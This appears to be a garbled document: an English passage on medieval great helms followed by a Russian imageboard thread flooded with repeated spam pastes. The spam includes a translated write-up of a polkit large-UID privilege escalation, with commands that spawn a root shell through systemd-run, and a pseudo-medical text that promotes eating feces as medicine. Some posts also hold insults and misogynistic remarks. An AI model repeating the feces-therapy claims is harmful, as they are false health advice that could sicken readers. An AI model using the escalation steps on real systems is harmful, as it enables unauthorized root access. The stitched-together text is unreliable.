To keep the helm firmly in place on the head and adjusted so the wearer could see through the eye slit(s), a band of leather was often riveted to the inside, such as we see in fragments from the Black Prince's great helm in Canterbury Cathedral. Triangular gussets from the band would be drawn and laced together at the center allowing some adjustability and a customized fit. Some brasses and effigies also show a padded ring being worn over the mail coif to further stabilize the helm. Some helms, especially later tilting helms, had full padded liners, much like a sock for the head with a cutout hole for the face. This sleeve would then be laced to the inside of the helm.

As an additional layer of protection a cervelliere, or bascinet, was often worn under the great helm and mail coif beginning in the 13th century. The abnormally sized heads of knights depicted in effigies and brasses seems to indicate this, and indeed, brasses of the early 14th century show this cap, no longer under the coif, evolving into the true bascinet which would replace both the cervelliere and the great helm.

Many great helms, especially those of the late 13th and 14th centuries are pierced near the lower edge in front with cross-shaped holes. While providing decoration and an obvious symbol of piety, they often served a more utilitarian purpose. A chain from the belt, or later the cuirass, would end in a toggle that could be threaded through that hole in the helm. This enabled the wearer to retain possession of the helm should it become dislodged from his head. It also allowed the warrior to remove the helm when it was not needed and sling it over his shoulder as is clearly seen on the carved stone monument of Colaccio Beccadelli (d. 1341).

The obscuring of the face of the wearer for protective purposes led to the need for other means of identification. One needs to look no further than the Battle of Hastings to see the need for quick identification of leaders and nobles. William the Conqueror's troops feared his death until they were able to recognize him and see that he still lived. In addition to being visible to soldiers on your own side, it could also be important to show your status to opposing soldiers, in the hope that you might be captured and ransomed rather than killed outright.

It is tempting to think of great helms as always being of shining steel. Period artwork shows us that this may not have always been the case. As early as the early 13th century, we see helms painted to match shields in an early form of heraldry. The Maciejowski Bible shows great helms in a variety of colors including blue, yellow, orange, and gold.

Another outgrowth of the need for identification is the crest. While allowing "the knight to indulge in an ostentatious display of martial magnificence" (in the words of David Edge and John Miles Paddock), the crest also served as a means of identification. These crests were first seen late in the 12th century; the fan-shaped crest on a seal of Richard I (the Lion-Hearted) being earliest.


>>202713120 (OP)
>>202713174
Аноним 27/08/19 Втр 09:55:27 20271379335
>>202713208
Пиздец, ты думаешь что если ты прописан в хате, хначит комната твоя?
Аноним 27/08/19 Втр 09:55:31 20271379536
>>202713764
Да, возможно, но в любой момент можно же выгнать, не?
27/08/19 Втр 09:56:01 20271381437


Калотерапия уходит корнями в глубокую древность. Древнеиндийская Веда "Махабхарата" включает в себя трактат "Шримад-Харбаматам", в котором подробно описывается лечение собственными экскрементами. Этот трактат оставался неизвестным до первой трети ХХ столетия. Впоследствие, во время войны за независимость, оригинал был утерян, остался только перевод, выполненный Радживом Чанджавой.
Вот как там описывается сей сакраментальный процесс:
"...вместе с выделениями Человека выходят его жизненные силы ... ибо тело Человека не должно жить вечно. "..." Когда он [Человек] заболевает и им овладевает Лакшминатра (Злой демон), то Энергия теряется ...Чтобы восполнить запасы жизненных сил ... лучше всего вернуть силу, ушедшую со Смарати (калом), путём поглощения Смарати..."
Великие отшельники кшумаиты говорили, что Шивамбу (урина) и, в особенности, Смарати (кал) - основа всех лекарств.
Общеизвестное мумие, помогающее при бесчисленном множестве болезней, представляет собой не что иное, как экскременты высокогорных парнокопытных архаров, обитающих в предгорьях Тибета.
Широко используется калотерапия в Африке. Это подтверждается исследованиями этнографов. Так, во время путешествия в Западную Африку, советский учёный-натуралист А.И. Ландовский писал в своём дневнике: "У нескольких немногочисленных народов группы фульбе ... есть интересная традиция - использовать собственные фекалии для лечения и предупреждения многих болезней ... Это удивительно здоровые люди ... на фоне своих соседей. "..." Они перенесли эпидемии лихорадки Эбола и других, уничтоживших многие племена вокруг. "..." Также отмечена низкая детская смертность".
(А.Ф. Мартов, А.И. Ландовский "Народы Западной Африки", Москва, 1983 год).
Далее учёный отметил, что это не связано с религиозными традициями - местные жители уверяли, что лечение калом действительно помогает. Сам Ландовский действие фекалий на себе не испытывал.
Фекалии употребляют многие животные, например, слоны, для восполнения недостающих при растительной пище, веществ. Головастики амфибий, если из их рациона убрать экскременты, сильно отстают в развитии, по сравнению с контрольной группой.

Основы калотерапии.
Если посмотреть с научной точки зрения, то ничего удивительного нет: человеческие фекалии и в самом деле обладают целебными свойствами. Судите сами.
Химический состав кала.
В 100 граммах содержиться:
10 г жиров (столько же в сметане)
7-12 МЭКВ калия
1-5 МЭКВ натрия
400-900 мг кальция (не во всякой зубной пасте столько)
* до 3 г азота
(Источник: "Справочник практического врача" под ред. Н.Е. Воробьёва, СПб, 1996 год)
Вместе с калом теряются аминокислоты, которые могут быть повторно усвоены организмом, как и молочно-кислые бактерии (бифидум, коли и др.), принимающие активное участие в процессе пищеварения и приводящие микрофлору кишечника в норму. Фекалии очень полезны при дисбактериозе. Они очищают ЖКТ от шлаков, что способствует сбросу лишнего веса (фекалии - низкокалорийный продукт) и улучшению самочувствия.


>>202713795
>>202713793
>>202713764
>>202713763
>>202713120 (OP)
Аноним 27/08/19 Втр 09:56:28 20271383638
>>202713793
Нет, я не просто прописан, у меня прописана доля, которая соответствует комнате. Сама комната не моя, но стоимость комнаты = моя доля
27/08/19 Втр 09:56:28 20271383739
>>202713795
>>202713793
>>202713720


Уязвимость существует благодаря ошибке в проверке PolicyKit запросов на получение прав для любого пользователя с UID, превышающим INT_MAX. Где INT_MAX — это константа, которая хранит максимальное значение целочисленной переменной типа integer, что равно 2147483647 (в шестнадцатеричном 0x7FFFFFFF).

Таким образом, если мы создадим учетную запись с любым UID, превышающим значение INT_MAX, компонент PolicyKit позволит успешно выполнить любую команду systemctl.

Исследователь безопасности Рич Мирч (Rich Mirch) из Twitter, представившийся как «0xm1rch», выпустил эксплойт proof-of-concept (PoC), чтобы успешно продемонстрировать уязвимость, которая требует пользователя с UID 4000000000.

Red Hat рекомендует системным администраторам не разрешать какие-либо отрицательные UID или UID больше 2147483646, чтобы смягчить проблему до выпуска заплатки.

Несколько способов эксплуатации от переводчика

Первый способ — просто через systemctl. Я создал пользователя с большим UID, затем попытался запустить apache2:

1) для начала проверил, что он лежит

$ systemctl status apache2
apache2.service - The Apache HTTP Server
Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset:
Drop-In: /lib/systemd/system/apache2.service.d
apache2-systemd.conf
Active: inactive (dead)

2) попытался запустить, но получил ошибку

$ systemctl start apache2

(process:2820): GLib-GObject-WARNING : 00:42:35.586: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'

ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)

3) но затем убедился, что он все-таки запустился

$ systemctl status apache2
apache2.service - The Apache HTTP Server
Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset:
Drop-In: /lib/systemd/system/apache2.service.d
apache2-systemd.conf
Active: active (running) since Tue 2018-12-11 00:42:35 +04; 2s ago
Process: 2825 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCE
Main PID: 2829 (apache2)
Tasks: 55 (limit: 4526)
CGroup: /system.slice/apache2.service
2829 /usr/sbin/apache2 -k start
2830 /usr/sbin/apache2 -k start
2831 /usr/sbin/apache2 -k start

Второй способ заключается в запуске bash через systemd. Я выполнил следующую команду, создал текстовый документ в корне фс, добавил в него строку, и проверил результат

$ systemd-run -t /bin/bash

(process:3947): GLib-GObject-WARNING : 01:24:30.023: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'

ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
Running as unit: run-u107.service
Press ^] three times within 1s to disconnect TTY.
# echo hello > /test.txt
# cat /test.txt
hello

Пока экспериментировал в своей убунте, обнаружил еще такую закономерность: если под пользователем с таким UID зайти в параметры учетных записей, то все настройки разблокированы, что позволяет редактировать/удалять любых пользователей.

Остается вопрос, как теперь «вызвать» появление на хосте-жертве пользователя с таким UID, и действительно ли этот баг несет угрозу?


>>202713595
>>202713519
>>202713120 (OP)
>>202713179
Аноним 27/08/19 Втр 09:56:37 20271384340
>>202713257
не работаешь, а на первое время она будет красть еду?
А на выходных че делать будете?
27/08/19 Втр 09:56:59 20271386041
>>202713836
>>202713793
>>202713405
Клац-клац…
# systemctl enable systemd-timesyncd.service && systemctl start systemd-timesyncd.service && ntpdate 0.ru.pool.ntp.org && timedatectl set-ntp on && timedatectl
25 Aug 21:00:10 ntpdate[28114]: adjust time server 195.210.189.106 offset -249.015251 sec
Local time: Sun 2019-08-25 21:00:10 +03
Universal time: Sun 2019-08-25 18:00:10 UTC
RTC time: Sun 2019-08-25 18:00:10
Time zone: Europe/Minsk (+03, +0300)
NTP enabled: yes
NTP synchronized: yes
RTC in local TZ: no
DST active: n/a

Всё отлично, время синхронизировалось, системное совпадает с аппаратным. «Забирай», — обронил я и вернулся к своим делам.
«Что забирай? — возмутился коллега. — Время прежнее!»
Чем больше решаешь типовых задач тем больше зашоривается мышление и уже не думаешь, что сотая или тысячная ситуация будет другой, но не в этот раз.
# timedatectl
Local time: Sun 2019-08-25 21:09:15 +03
Universal time: Sun 2019-08-25 18:09:15 UTC
RTC time: Sun 2019-08-25 18:05:04
Time zone: Europe/Minsk (+03, +0300)
NTP enabled: yes
NTP synchronized: no
RTC in local TZ: no
DST active: n/a

Системное время снова неправильное.
Попробуем ещё раз:
# ntpdate 0.ru.pool.ntp.org && timedatectl && sleep 1 && timedatectl
25 Aug 21:07:37 ntpdate[30350]: step time server 89.175.20.7 offset -249.220828 sec
Local time: Sun 2019-08-25 21:07:37 +03
Universal time: Sun 2019-08-25 18:07:37 UTC
RTC time: Sun 2019-08-25 18:07:37
Time zone: Europe/Minsk (+03, +0300)
NTP enabled: yes
NTP synchronized: yes
RTC in local TZ: no
DST active: n/a
Local time: Sun 2019-08-25 21:11:46 +03
Universal time: Sun 2019-08-25 18:11:46 UTC
RTC time: Sun 2019-08-25 18:07:37
Time zone: Europe/Minsk (+03, +0300)
NTP enabled: yes
NTP synchronized: no
RTC in local TZ: no
DST active: n/a

Давайте по-другому:
# date -s "2019-08-25 21:10:30" && date && sleep 1 && timedatectl
Sun Aug 25 21:10:30 +03 2019
Sun Aug 25 21:10:30 +03 2019
Local time: Sun 2019-08-25 21:14:36 +03
Universal time: Sun 2019-08-25 18:14:36 UTC
RTC time: Sun 2019-08-25 18:10:30
Time zone: Europe/Minsk (+03, +0300)
NTP enabled: yes
NTP synchronized: no
RTC in local TZ: no
DST active: n/a

А вот так:
# hwclock --hctosys && timedatectl && sleep 1 && timedatectl
Local time: Sun 2019-08-25 21:11:31 +03
Universal time: Sun 2019-08-25 18:11:31 UTC
RTC time: Sun 2019-08-25 18:11:31
Time zone: Europe/Minsk (+03, +0300)
NTP enabled: yes
NTP synchronized: yes
RTC in local TZ: no
DST active: n/a
Local time: Sun 2019-08-25 21:15:36 +03
Universal time: Sun 2019-08-25 18:15:36 UTC
RTC time: Sun 2019-08-25 18:11:32
Time zone: Europe/Minsk (+03, +0300)
NTP enabled: yes
NTP synchronized: no
RTC in local TZ: no
DST active: n/a

Время устанавливается на долю секунды, и тут же начинает «спешить» вновь.

При этом в логах, на момент такой ручной смены, видим лишь отчёты системы, о том, что время изменилось, соответственно в правильную/неправильную стороны и изредка Resyncing от systemd-timesyncd.
Aug 25 21:18:51 wisi systemd[1]: Time has been changed
Aug 25 21:18:51 wisi systemd-timesyncd[29258]: System time changed. Resyncing.
Aug 25 21:18:51 wisi systemd[1187]: Time has been changed
Aug 25 21:18:51 wisi systemd[1]: Time has been changed
Aug 25 21:18:51 wisi systemd[1187]: Time has been changed
здесь
# ps afx | grep "[1]187"
1187 ? Ss 0:02 /lib/systemd/systemd --user

В этот момент уже нужно было искать причину, но мозг за 18 лет админства наработал статистику ошибок «времени» и по привычке снова обвиняет синхронизацию.
Отключаем её напрочь.
timedatectl set-ntp off && systemctl stop systemd-timesyncd.service
# hwclock --hctosys && timedatectl && sleep 1 && timedatectl
Local time: Sun 2019-08-25 21:25:40 +03
Universal time: Sun 2019-08-25 18:25:40 UTC
RTC time: Sun 2019-08-25 18:25:40
Time zone: Europe/Minsk (+03, +0300)
NTP enabled: no
NTP synchronized: no
RTC in local TZ: no
DST active: n/a
Local time: Sun 2019-08-25 21:29:31 +03
Universal time: Sun 2019-08-25 18:29:31 UTC
RTC time: Sun 2019-08-25 18:25:41
Time zone: Europe/Minsk (+03, +0300)
NTP enabled: no
NTP synchronized: no
RTC in local TZ: no
>>202713367
>>202713364
>>202713120 (OP)
27/08/19 Втр 09:57:25 20271388042
>>202713843
>>202713836
>>202713795
>>202713519
>>202713120 (OP)

Эти люди были так бедны, что по вечерам мальчик был вынужден отправляться с корзиной на
дорогу к топливным складам, подбирать кусочки угля из опорожненных угольных вагонов. Этот
мальчик по имени Эдвард Бок не имел возможности окончить более шести классов школы.
Однако, в конце концов, он собственными усилиями стал одним из наиболее преуспевающих
издателей в истории американской журналистики. Как он достиг этого? Это долгая история, но о
том, с чего он начало можно рассказать кратко. Он начал с использования принципов, защите
которых посвящена данная книга.
В тринадцать лет он закончил школу и стал мальчиком-посыльным в конторе "Вестерн Юнион",
получая шесть долларов пять центов в неделю, но ни на одно мгновение он не оставлял мысли об
образовании. Напротив, он решительно взялся за самообразование. Экономя деньги на плате за
проезд и на завтрак, он скопил необходимую сумму для приобретения американской
биографической энциклопедии, а потом, купив ее, предпринял неслыханную доселе вещь.
Прочитав жизнеописание известнейших в Америке людей, он дерзнул написать им письма с
просьбой сообщить ему дополнительные сведения об их детстве. Он был "хорошим слушателем".
Своими вопросами он сумел побудить известнейших людей рассказать ему о себе. Он написали
генералу Джеймсу А. Гарфилду, тогда кандидату в президенты, и спросил его, правда ли, что он
некогда таскал баржи на канале, и Гарфилд ответил ему.
Он написал генералу Гранту, интересуясь обстоятельствами одного сражения, и Грант
собственноручно нарисовал ему карту сражения и пригласил четырнадцатилетнего мальчика к
себе на обед, провел в беседе с ним целый вечер.
Он написал Эмерсону и вызвал у него желание поведать ему о себе.
Вскоре мальчик-посыльный из "Вестерн Юнион" уже состоял в переписке со многими из
наиболее прославленных людей нации. Эмерсон, Филипп Брукс, Оливер Уэндел Холмс,
Лонгфелло и т. д. стали его корреспондентами.
Он не только переписывался с этими известнейшими людьми, но во время своего отпуска
посетил многих из них и встретил в их домах радушный прием.
Этот опыт вселил в него уверенность в собственных силах, что само по себе неоценимо. А
знакомство с этими людьми возбудило в нем черты и честолюбивые устремления, которые
решительно изменили всю его жизнь. И все это, позвольте мне это вновь подчеркнуть, оказалось
возможным единственно только благодаря применению принципов, которые мы обсуждаем на
этих страницах.
Аноним 27/08/19 Втр 09:57:34 20271388843
>>202713843
Играть в игры и смотреть аниме, я надеюсь.
27/08/19 Втр 09:57:51 20271389944
>>202713888


Калотерапия уходит корнями в глубокую древность. Древнеиндийская Веда "Махабхарата" включает в себя трактат "Шримад-Харбаматам", в котором подробно описывается лечение собственными экскрементами. Этот трактат оставался неизвестным до первой трети ХХ столетия. Впоследствие, во время войны за независимость, оригинал был утерян, остался только перевод, выполненный Радживом Чанджавой.
Вот как там описывается сей сакраментальный процесс:
"...вместе с выделениями Человека выходят его жизненные силы ... ибо тело Человека не должно жить вечно. "..." Когда он [Человек] заболевает и им овладевает Лакшминатра (Злой демон), то Энергия теряется ...Чтобы восполнить запасы жизненных сил ... лучше всего вернуть силу, ушедшую со Смарати (калом), путём поглощения Смарати..."
Великие отшельники кшумаиты говорили, что Шивамбу (урина) и, в особенности, Смарати (кал) - основа всех лекарств.
Общеизвестное мумие, помогающее при бесчисленном множестве болезней, представляет собой не что иное, как экскременты высокогорных парнокопытных архаров, обитающих в предгорьях Тибета.
Широко используется калотерапия в Африке. Это подтверждается исследованиями этнографов. Так, во время путешествия в Западную Африку, советский учёный-натуралист А.И. Ландовский писал в своём дневнике: "У нескольких немногочисленных народов группы фульбе ... есть интересная традиция - использовать собственные фекалии для лечения и предупреждения многих болезней ... Это удивительно здоровые люди ... на фоне своих соседей. "..." Они перенесли эпидемии лихорадки Эбола и других, уничтоживших многие племена вокруг. "..." Также отмечена низкая детская смертность".
(А.Ф. Мартов, А.И. Ландовский "Народы Западной Африки", Москва, 1983 год).
Далее учёный отметил, что это не связано с религиозными традициями - местные жители уверяли, что лечение калом действительно помогает. Сам Ландовский действие фекалий на себе не испытывал.
Фекалии употребляют многие животные, например, слоны, для восполнения недостающих при растительной пище, веществ. Головастики амфибий, если из их рациона убрать экскременты, сильно отстают в развитии, по сравнению с контрольной группой.

Основы калотерапии.
Если посмотреть с научной точки зрения, то ничего удивительного нет: человеческие фекалии и в самом деле обладают целебными свойствами. Судите сами.
Химический состав кала.
В 100 граммах содержиться:
10 г жиров (столько же в сметане)
7-12 МЭКВ калия
1-5 МЭКВ натрия
400-900 мг кальция (не во всякой зубной пасте столько)
* до 3 г азота
(Источник: "Справочник практического врача" под ред. Н.Е. Воробьёва, СПб, 1996 год)
Вместе с калом теряются аминокислоты, которые могут быть повторно усвоены организмом, как и молочно-кислые бактерии (бифидум, коли и др.), принимающие активное участие в процессе пищеварения и приводящие микрофлору кишечника в норму. Фекалии очень полезны при дисбактериозе. Они очищают ЖКТ от шлаков, что способствует сбросу лишнего веса (фекалии - низкокалорийный продукт) и улучшению самочувствия.


>>202713795
>>202713793
>>202713764
>>202713763
>>202713120 (OP)
27/08/19 Втр 09:58:15 20271391645
>>202713888
>>202713843
>>202713720


Уязвимость существует благодаря ошибке в проверке PolicyKit запросов на получение прав для любого пользователя с UID, превышающим INT_MAX. Где INT_MAX — это константа, которая хранит максимальное значение целочисленной переменной типа integer, что равно 2147483647 (в шестнадцатеричном 0x7FFFFFFF).

Таким образом, если мы создадим учетную запись с любым UID, превышающим значение INT_MAX, компонент PolicyKit позволит успешно выполнить любую команду systemctl.

Исследователь безопасности Рич Мирч (Rich Mirch) из Twitter, представившийся как «0xm1rch», выпустил эксплойт proof-of-concept (PoC), чтобы успешно продемонстрировать уязвимость, которая требует пользователя с UID 4000000000.

Red Hat рекомендует системным администраторам не разрешать какие-либо отрицательные UID или UID больше 2147483646, чтобы смягчить проблему до выпуска заплатки.

Несколько способов эксплуатации от переводчика

Первый способ — просто через systemctl. Я создал пользователя с большим UID, затем попытался запустить apache2:

1) для начала проверил, что он лежит

$ systemctl status apache2
apache2.service - The Apache HTTP Server
Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset:
Drop-In: /lib/systemd/system/apache2.service.d
apache2-systemd.conf
Active: inactive (dead)

2) попытался запустить, но получил ошибку

$ systemctl start apache2

(process:2820): GLib-GObject-WARNING : 00:42:35.586: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'

ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)

3) но затем убедился, что он все-таки запустился

$ systemctl status apache2
apache2.service - The Apache HTTP Server
Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset:
Drop-In: /lib/systemd/system/apache2.service.d
apache2-systemd.conf
Active: active (running) since Tue 2018-12-11 00:42:35 +04; 2s ago
Process: 2825 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCE
Main PID: 2829 (apache2)
Tasks: 55 (limit: 4526)
CGroup: /system.slice/apache2.service
2829 /usr/sbin/apache2 -k start
2830 /usr/sbin/apache2 -k start
2831 /usr/sbin/apache2 -k start

Второй способ заключается в запуске bash через systemd. Я выполнил следующую команду, создал текстовый документ в корне фс, добавил в него строку, и проверил результат

$ systemd-run -t /bin/bash

(process:3947): GLib-GObject-WARNING : 01:24:30.023: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'

ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
Running as unit: run-u107.service
Press ^] three times within 1s to disconnect TTY.
# echo hello > /test.txt
# cat /test.txt
hello

Пока экспериментировал в своей убунте, обнаружил еще такую закономерность: если под пользователем с таким UID зайти в параметры учетных записей, то все настройки разблокированы, что позволяет редактировать/удалять любых пользователей.

Остается вопрос, как теперь «вызвать» появление на хосте-жертве пользователя с таким UID, и действительно ли этот баг несет угрозу?


>>202713595
>>202713519
>>202713120 (OP)
>>202713179
27/08/19 Втр 09:58:45 20271393846
>>202713888
>>202713843
>>202713257
Посредством дыры, кою прежде сего прорезал в двери сумасбродный фендрик, легко мог бы я освободить себя; но, понеже надлежало мне быть дурнем, оставил я сие втуне и не только поступил, как дурак, который не столь смышлен, чтобы уйти самому, но и прикинулся голодным телятей, что скучает по матери. Мое мычание вскорости было услышано теми, кто к сему был приставлен, ибо двое солдат подошли к гусятнику и спросили: «Кто там?» Я отвечал: «Вы, дурни, али не слышите, что здесь теленок?» Они отперли хлев, вывели меня наружу и дивились, что теленок может речь вести, и сие пристало им, как принужденные ужимки новоиспеченному неискусному комедианту, когда он персону, которую надлежит изобразить, не весьма-то ловко представляет, так что я подумывал, не должен ли я им в той шутке прийти на помощь. Они посоветовались, что надлежит предпринять, и согласились на том, чтоб поднести меня губернатору, а он их богаче одарит, нежели б заплатил им за меня мясник, ибо я разумею говорить. Они спросили, ладно ли идут мои дела. Я ответил: «Отменно худо!» Они спросили: «Отчего ж?» Я сказал: «Да оттого, что здесь в обычае честных телят запирать в гусятник! Надлежит вам, детинам, ежели того хотите, ведать, что предстоит мне вырасти достославным быком, так что и воспитать меня должно, как то честному тельцу приличествует». По окончании краткого сего дискурса отвели они меня проулком прямо в губернаторов дом; за ними следовала превеликая толпа мальчишек, и так как они, подобно мне, мычали по-телячьему, то слепец на слух заключить мог, что мимо гонят стадо телят; однако ж по виду было то сборищем старых и молодых дурней.

Итак, двое тех солдат презентовали меня губернатору, как если бы во время фуражировки заполучили меня в добычу. Он одарил их деньгами на пропой, мне же посулил, что я получу от него еще лучшие вещи. Я помыслил, как малый у золотаря [161], и сказал: «Добро, господин, однако ж не следует замыкать меня в гусятник, ибо мы, телята, того не сносим, когда надлежит нам возрасти в добрую рогатую скотину!» Губернатор наилучшим образом обнадежил меня и почел себя великим искусником, что сотворил из меня презабавного дурака; я же, напротив, думал: «Эге, любезный мой господин, помедли малость; я претерпел огненную пробу и в ней закалился; теперь давай испытывать, который из двух проведет другого за нос!»

Меж тем некий злополучный мужик гнал скотину на водопой; как только я сие увидел, то оставил губернатора и поспешил с телячьим мычанием за коровами, как если бы захотел сосать вымя. А те, едва я к ним приблизился, ужаснулись меня сильнее, нежели волка, хотя и был я облачен в ихнюю шкуру. И они так всполошились и разбежались во все стороны, как если бы в августе бросили посреди их гнездо, полное шершней, так что хозяин уже не смог согнать их вместе, что произвело немалую потеху. В мгновение ока сбежалась толпа народу, чтобы поглазеть на шутовское сие представление, и мой господин смеялся так, что чуть не лопнул, а потом сказал: «От одного дурня сотня других родится». Я же помыслил: «Ухвати за нос, да самого себя, ибо ты как раз тот, о ком речь держишь».

Подобно тому как всяк с того времени называл меня Теля, так и я, в свой черед, величал каждого особливым насмешливым прозвищем; оные были, по мнению многих, а паче всего по рассуждению моего господина, весьма метки, ибо каждого окрестил я, как то требовало его свойство. Одним словом, всяк почитал меня за неразумного дурня, а я каждого за отменного дурака. Сей обычай, как я приметил, употребителен еще и поныне, поелику всякий доволен своим умом и мнит себя разумнейшим среди всех прочих, хотя и не лживо сказано: «Stultorum plena sunt omnia» [162].

>>202713595
>>202713586
>>202713583
>>202713519
>>202713120 (OP)
>>202713174
Аноним 27/08/19 Втр 09:59:05 20271394747
За что это животное топит меня? Неужели я создал плохой тредик?
27/08/19 Втр 10:00:44 20271400448
>>202713947
Биопроблемы отношеинебляди вне /sex
Аноним 27/08/19 Втр 10:01:00 20271401449
Ну вот и все. Продолжаем обсуждение.
27/08/19 Втр 10:01:57 20271404650
>>202713888
>>202713843
>>202713720


Уязвимость существует благодаря ошибке в проверке PolicyKit запросов на получение прав для любого пользователя с UID, превышающим INT_MAX. Где INT_MAX — это константа, которая хранит максимальное значение целочисленной переменной типа integer, что равно 2147483647 (в шестнадцатеричном 0x7FFFFFFF).

Таким образом, если мы создадим учетную запись с любым UID, превышающим значение INT_MAX, компонент PolicyKit позволит успешно выполнить любую команду systemctl.

Исследователь безопасности Рич Мирч (Rich Mirch) из Twitter, представившийся как «0xm1rch», выпустил эксплойт proof-of-concept (PoC), чтобы успешно продемонстрировать уязвимость, которая требует пользователя с UID 4000000000.

Red Hat рекомендует системным администраторам не разрешать какие-либо отрицательные UID или UID больше 2147483646, чтобы смягчить проблему до выпуска заплатки.

Несколько способов эксплуатации от переводчика

Первый способ — просто через systemctl. Я создал пользователя с большим UID, затем попытался запустить apache2:

1) для начала проверил, что он лежит

$ systemctl status apache2
apache2.service - The Apache HTTP Server
Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset:
Drop-In: /lib/systemd/system/apache2.service.d
apache2-systemd.conf
Active: inactive (dead)

2) попытался запустить, но получил ошибку

$ systemctl start apache2

(process:2820): GLib-GObject-WARNING : 00:42:35.586: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'

ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)

3) но затем убедился, что он все-таки запустился

$ systemctl status apache2
apache2.service - The Apache HTTP Server
Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset:
Drop-In: /lib/systemd/system/apache2.service.d
apache2-systemd.conf
Active: active (running) since Tue 2018-12-11 00:42:35 +04; 2s ago
Process: 2825 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCE
Main PID: 2829 (apache2)
Tasks: 55 (limit: 4526)
CGroup: /system.slice/apache2.service
2829 /usr/sbin/apache2 -k start
2830 /usr/sbin/apache2 -k start
2831 /usr/sbin/apache2 -k start

Второй способ заключается в запуске bash через systemd. Я выполнил следующую команду, создал текстовый документ в корне фс, добавил в него строку, и проверил результат

$ systemd-run -t /bin/bash

(process:3947): GLib-GObject-WARNING : 01:24:30.023: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'

ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
Running as unit: run-u107.service
Press ^] three times within 1s to disconnect TTY.
# echo hello > /test.txt
# cat /test.txt
hello

Пока экспериментировал в своей убунте, обнаружил еще такую закономерность: если под пользователем с таким UID зайти в параметры учетных записей, то все настройки разблокированы, что позволяет редактировать/удалять любых пользователей.

Остается вопрос, как теперь «вызвать» появление на хосте-жертве пользователя с таким UID, и действительно ли этот баг несет угрозу?


>>202713595
>>202713519
>>202713120 (OP)
>>202713179
Аноним 27/08/19 Втр 10:02:32 20271407051
>>202714004
Да где здесь биопроблемы? Я всего лишь поинтересовался и хотел, чтобы аноны поролили что мне сделать (
27/08/19 Втр 10:02:39 20271407752
>>202713947
>>202713888


Калотерапия уходит корнями в глубокую древность. Древнеиндийская Веда "Махабхарата" включает в себя трактат "Шримад-Харбаматам", в котором подробно описывается лечение собственными экскрементами. Этот трактат оставался неизвестным до первой трети ХХ столетия. Впоследствие, во время войны за независимость, оригинал был утерян, остался только перевод, выполненный Радживом Чанджавой.
Вот как там описывается сей сакраментальный процесс:
"...вместе с выделениями Человека выходят его жизненные силы ... ибо тело Человека не должно жить вечно. "..." Когда он [Человек] заболевает и им овладевает Лакшминатра (Злой демон), то Энергия теряется ...Чтобы восполнить запасы жизненных сил ... лучше всего вернуть силу, ушедшую со Смарати (калом), путём поглощения Смарати..."
Великие отшельники кшумаиты говорили, что Шивамбу (урина) и, в особенности, Смарати (кал) - основа всех лекарств.
Общеизвестное мумие, помогающее при бесчисленном множестве болезней, представляет собой не что иное, как экскременты высокогорных парнокопытных архаров, обитающих в предгорьях Тибета.
Широко используется калотерапия в Африке. Это подтверждается исследованиями этнографов. Так, во время путешествия в Западную Африку, советский учёный-натуралист А.И. Ландовский писал в своём дневнике: "У нескольких немногочисленных народов группы фульбе ... есть интересная традиция - использовать собственные фекалии для лечения и предупреждения многих болезней ... Это удивительно здоровые люди ... на фоне своих соседей. "..." Они перенесли эпидемии лихорадки Эбола и других, уничтоживших многие племена вокруг. "..." Также отмечена низкая детская смертность".
(А.Ф. Мартов, А.И. Ландовский "Народы Западной Африки", Москва, 1983 год).
Далее учёный отметил, что это не связано с религиозными традициями - местные жители уверяли, что лечение калом действительно помогает. Сам Ландовский действие фекалий на себе не испытывал.
Фекалии употребляют многие животные, например, слоны, для восполнения недостающих при растительной пище, веществ. Головастики амфибий, если из их рациона убрать экскременты, сильно отстают в развитии, по сравнению с контрольной группой.

Основы калотерапии.
Если посмотреть с научной точки зрения, то ничего удивительного нет: человеческие фекалии и в самом деле обладают целебными свойствами. Судите сами.
Химический состав кала.
В 100 граммах содержиться:
10 г жиров (столько же в сметане)
7-12 МЭКВ калия
1-5 МЭКВ натрия
400-900 мг кальция (не во всякой зубной пасте столько)
* до 3 г азота
(Источник: "Справочник практического врача" под ред. Н.Е. Воробьёва, СПб, 1996 год)
Вместе с калом теряются аминокислоты, которые могут быть повторно усвоены организмом, как и молочно-кислые бактерии (бифидум, коли и др.), принимающие активное участие в процессе пищеварения и приводящие микрофлору кишечника в норму. Фекалии очень полезны при дисбактериозе. Они очищают ЖКТ от шлаков, что способствует сбросу лишнего веса (фекалии - низкокалорийный продукт) и улучшению самочувствия.


>>202713795
>>202713793
>>202713764
>>202713763
>>202713120 (OP)
27/08/19 Втр 10:04:39 20271416053
>>202714070
Те самые, у которых ты увёл эту тян? Она могла бы быть чья угодно, но она досталась тебе, как и остальные, а сотни мужчин остаются девственниками из-за того, что тням их возраста нравятся вот такое быдло или зумерки с бритыми висками.
27/08/19 Втр 10:05:59 20271420954
>>202714160
Хуя ты чмо. Тяночки - для быдла. Ты не хуже быдла просто на низшей ступени.
